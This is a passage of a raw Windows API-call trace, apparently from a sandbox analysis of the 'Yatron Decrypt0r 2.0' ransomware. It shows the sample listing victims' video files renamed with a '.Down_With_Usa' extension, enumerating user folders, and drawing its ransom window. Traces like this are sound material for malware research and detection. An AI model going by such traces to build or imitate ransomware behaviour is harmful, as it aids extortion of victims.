[0276.150] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.150] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.151] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2873b6c) returned 0x30
[0276.151] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2873b6c) returned 0x30
[0276.152] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.152] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oxZkW.avi.Down_With_Usa", length=60, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.152] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.153] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.153] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.153] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2873f74) returned 0x31
[0276.154] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2873f74) returned 0x31
[0276.155] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.155] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x0by6BnXSl7t-oMscM.flv.Down_With_Usa", length=73, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.155] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.155] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.155] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.156] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x28741dc) returned 0x32
[0276.156] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x28741dc) returned 0x32
[0276.157] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.157] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\xcDVt3HTJS.flv.Down_With_Usa", length=65, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.158] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.158] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.158] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.159] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x287442c) returned 0x33
[0276.159] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x287442c) returned 0x33
[0276.160] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.160] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4.Down_With_Usa", length=71, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.161] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.161] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.161] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.161] CoTaskMemAlloc (cb=0x20c) returned 0x27d84af0
[0276.161] SHGetFolderPathW (in: hwnd=0x0, csidl=19, hToken=0x0, dwFlags=0x0, pszPath=0x27d84af0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned 0x0
[0276.165] CoTaskMemFree (pv=0x27d84af0)
[0276.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x2ece40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x51
[0276.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0276.167] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x51
[0276.167] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpFilePart=0x0) returned 0x52
[0276.167] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05fd0
[0276.168] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0276.168] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0276.168] FindClose (in: hFindFile=0x27f05fd0 | out: hFindFile=0x27f05fd0) returned 1
[0276.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0276.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0276.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0276.170] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x51
[0276.170] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpFilePart=0x0) returned 0x52
[0276.170] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05fd0
[0276.171] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0276.171] FindNextFileW (in: hFindFile=0x27f05fd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0276.171] FindClose (in: hFindFile=0x27f05fd0 | out: hFindFile=0x27f05fd0) returned 1
[0276.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0276.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0276.181] qsort (in: _Base=0x1b3a28, _NumOfElements=0x6, _SizeOfElements=0x8, _PtFuncCompare=0x7fef42a06e0 | out: _Base=0x1b3a28)
[0276.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0276.204] GetFullPathNameW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x2d
[0276.204] GetFullPathNameW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpFilePart=0x0) returned 0x2e
[0276.204] FindFirstFileW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0276.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0276.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0276.221] GetFullPathNameW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x2d
[0276.221] GetFullPathNameW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpFilePart=0x0) returned 0x2e
[0277.761] FindFirstFileW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0277.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0278.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0278.450] GetFullPathNameW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x2d
[0278.450] GetFullPathNameW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x2e
[0278.450] FindFirstFileW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0278.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0278.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0278.454] GetFullPathNameW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x2d
[0278.454] GetFullPathNameW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x2e
[0278.455] FindFirstFileW (in: lpFileName="C:\\Users\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0278.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0278.482] SetForegroundWindow (hWnd=0x4015e) returned 0
[0278.488] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x46, wParam=0x0, lParam=0x2ee230) returned 0x0
[0278.598] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0
[0278.599] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0
[0278.599] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
[0278.610] VirtualQuery (in: lpAddress=0x7fe9401a720, lpBuffer=0x2ed6d0, dwLength=0x30 | out: lpBuffer=0x2ed6d0*(BaseAddress=0x7fe9401a000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0278.614] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x2ede18 | out: lplpMessageFilter=0x2ede18*=0x0) returned 0x0
[0278.624] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x40f) returned 0x1de02b00
[0278.629] VirtualAlloc (lpAddress=0x7fe9401b000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x7fe9401b000
[0278.634] GetFocus () returned 0x0
[0278.634] SetFocus (hWnd=0x102b6) returned 0x0
[0278.667] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0
[0278.669] GetKeyboardLayout (idThread=0x0) returned 0x4090409
[0278.669] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0
[0278.669] GetKeyboardLayout (idThread=0x0) returned 0x4090409
[0278.671] GetParent (hWnd=0x4015e) returned 0x0
[0278.673] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0
[0278.673] SendMessageW (hWnd=0x102b6, Msg=0x2111, wParam=0x402b6, lParam=0x102b6) returned 0x0
[0278.679] InvalidateRect (hWnd=0x40160, lpRect=0x0, bErase=1) returned 1
[0278.679] InvalidateRect (hWnd=0x60106, lpRect=0x0, bErase=1) returned 1
[0278.680] InvalidateRect (hWnd=0x102ae, lpRect=0x0, bErase=1) returned 1
[0278.680] InvalidateRect (hWnd=0x102ba, lpRect=0x0, bErase=0) returned 1
[0278.680] InvalidateRect (hWnd=0x102bc, lpRect=0x0, bErase=0) returned 1
[0278.680] InvalidateRect (hWnd=0x102be, lpRect=0x0, bErase=1) returned 1
[0278.680] InvalidateRect (hWnd=0x102c0, lpRect=0x0, bErase=0) returned 1
[0278.680] InvalidateRect (hWnd=0x102c2, lpRect=0x0, bErase=0) returned 1
[0278.680] InvalidateRect (hWnd=0x102c4, lpRect=0x0, bErase=1) returned 1
[0278.680] InvalidateRect (hWnd=0x102c6, lpRect=0x0, bErase=1) returned 1
[0278.680] InvalidateRect (hWnd=0x102c8, lpRect=0x0, bErase=1) returned 1
[0278.681] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x2ee3f0 | out: lpdwProcessId=0x2ee3f0) returned 0x2c4
[0278.681] GetCurrentThreadId () returned 0x2c4
[0278.683] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc199
[0278.683] PostMessageW (hWnd=0x4015e, Msg=0xc199, wParam=0x0, lParam=0x0) returned 1
[0278.684] GetWindowTextLengthW (hWnd=0x4015e) returned 20
[0278.684] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x14
[0278.684] GetSystemMetrics (nIndex=42) returned 0
[0278.684] GetWindowTextW (in: hWnd=0x4015e, lpString=0x2ee2e0, nMaxCount=21 | out: lpString="Yatron Decrypt0r 2.0") returned 20
[0278.684] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xd, wParam=0x15, lParam=0x2ee2e0) returned 0x14
[0278.685] GetWindowTextLengthW (hWnd=0x40160) returned 0
[0278.685] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0278.685] GetSystemMetrics (nIndex=42) returned 0
[0278.685] GetWindowTextW (in: hWnd=0x40160, lpString=0x2ee270, nMaxCount=1 | out: lpString="") returned 0
[0278.685] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0xd, wParam=0x1, lParam=0x2ee270) returned 0x0
[0278.686] GetWindowTextLengthW (hWnd=0x102ae) returned 0
[0278.686] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102ae, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0278.686] GetSystemMetrics (nIndex=42) returned 0
[0278.686] GetWindowTextW (in: hWnd=0x102ae, lpString=0x2ee270, nMaxCount=1 | out: lpString="") returned 0
[0278.686] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102ae, Msg=0xd, wParam=0x1, lParam=0x2ee270) returned 0x0
[0278.693] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x46, wParam=0x0, lParam=0x2eeb00) returned 0x0
[0278.695] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0278.700] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee6f8 | out: lpwndpl=0x2ee6f8) returned 1
[0278.700] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee610 | out: lpRect=0x2ee610) returned 1
[0278.700] GetWindowTextLengthW (hWnd=0x4015e) returned 20
[0278.700] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x14
[0278.700] GetSystemMetrics (nIndex=42) returned 0
[0278.700] GetWindowTextW (in: hWnd=0x4015e, lpString=0x2ee360, nMaxCount=21 | out: lpString="Yatron Decrypt0r 2.0") returned 20
[0278.700] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xd, wParam=0x15, lParam=0x2ee360) returned 0x14
[0278.701] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee3f8 | out: lpRect=0x2ee3f8) returned 1
[0278.708] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1b1a2a0c, dwData=0x0) returned 1
[0278.709] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2edbf0 | out: lpmi=0x2edbf0) returned 1
[0278.709] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x12010b38
[0278.709] GetDeviceCaps (hdc=0x12010b38, index=12) returned 32
[0278.709] GetDeviceCaps (hdc=0x12010b38, index=14) returned 1
[0278.710] DeleteDC (hdc=0x12010b38) returned 1
[0278.710] GetCurrentObject (hdc=0x2010a5c, type=0x1) returned 0x1b00017
[0278.710] GetCurrentObject (hdc=0x2010a5c, type=0x2) returned 0x1900010
[0278.710] GetCurrentObject (hdc=0x2010a5c, type=0x7) returned 0x1050032
[0278.710] GetCurrentObject (hdc=0x2010a5c, type=0x6) returned 0x18a002e
[0278.710] SaveDC (hdc=0x2010a5c) returned 1
[0278.712] GetNearestColor (hdc=0x2010a5c, color=0x80) returned 0x80
[0278.717] CreateSolidBrush (color=0x80) returned 0x1f1001c1
[0278.717] FillRect (hDC=0x2010a5c, lprc=0x2ee0e8, hbr=0x1f1001c1) returned 1
[0278.746] DeleteObject (ho=0x1f1001c1) returned 1
[0278.746] RestoreDC (hdc=0x2010a5c, nSavedDC=-1) returned 1
[0278.747] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0278.747] GetClientRect (in: hWnd=0x60106, lpRect=0x2ee730 | out: lpRect=0x2ee730) returned 1
[0278.747] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ee678) returned 0x0
[0278.752] GdipCreateSolidFill (color=0xffffffffff800000, brush=0x2ee660) returned 0x0
[0278.756] GdipFillRectangleI (graphics=0x1c5a7fc0, brush=0x1c5a8390, x=0, y=0, width=759, height=357) returned 0x0
[0278.785] GdipDeleteBrush (brush=0x1c5a8390) returned 0x0
[0280.420] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0282.991] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x85, wParam=0xb040b48, lParam=0x0) returned 0x0
[0282.991] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x85, wParam=0xc040b48, lParam=0x0) returned 0x0
[0282.992] GetClientRect (in: hWnd=0x20276, lpRect=0x2ee730 | out: lpRect=0x2ee730) returned 1
[0282.993] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ee678) returned 0x0
[0282.995] GdipCreateSolidFill (color=0xffffffffff800000, brush=0x2ee660) returned 0x0
[0282.996] GdipFillRectangleI (graphics=0x1c5a7fc0, brush=0x1c5a8390, x=0, y=0, width=166, height=103) returned 0x0
[0282.998] GdipDeleteBrush (brush=0x1c5a8390) returned 0x0
[0282.998] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0282.998] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x85, wParam=0xd040b48, lParam=0x0) returned 0x0
[0282.999] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x85, wParam=0xe040b48, lParam=0x0) returned 0x0
[0283.007] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0283.010] SetTextColor (hdc=0x1010a48, color=0x0) returned 0x0
[0283.010] SetBkColor (hdc=0x1010a48, color=0xffffff) returned 0xffffff
[0283.012] CreateSolidBrush (color=0xffffff) returned 0xe100b82
[0283.014] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x85, wParam=0xf040b48, lParam=0x0) returned 0x0
[0283.015] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x85, wParam=0x10040b48, lParam=0x0) returned 0x0
[0283.015] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x85, wParam=0x11040b48, lParam=0x0) returned 0x0
[0283.016] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x85, wParam=0x12040b48, lParam=0x0) returned 0x0
[0283.016] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x85, wParam=0x13040b48, lParam=0x0) returned 0x0
[0283.016] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x85, wParam=0x14040b48, lParam=0x0) returned 0x0
[0283.017] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x85, wParam=0x15040b48, lParam=0x0) returned 0x0
[0283.017] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x85, wParam=0x16040b48, lParam=0x0) returned 0x0
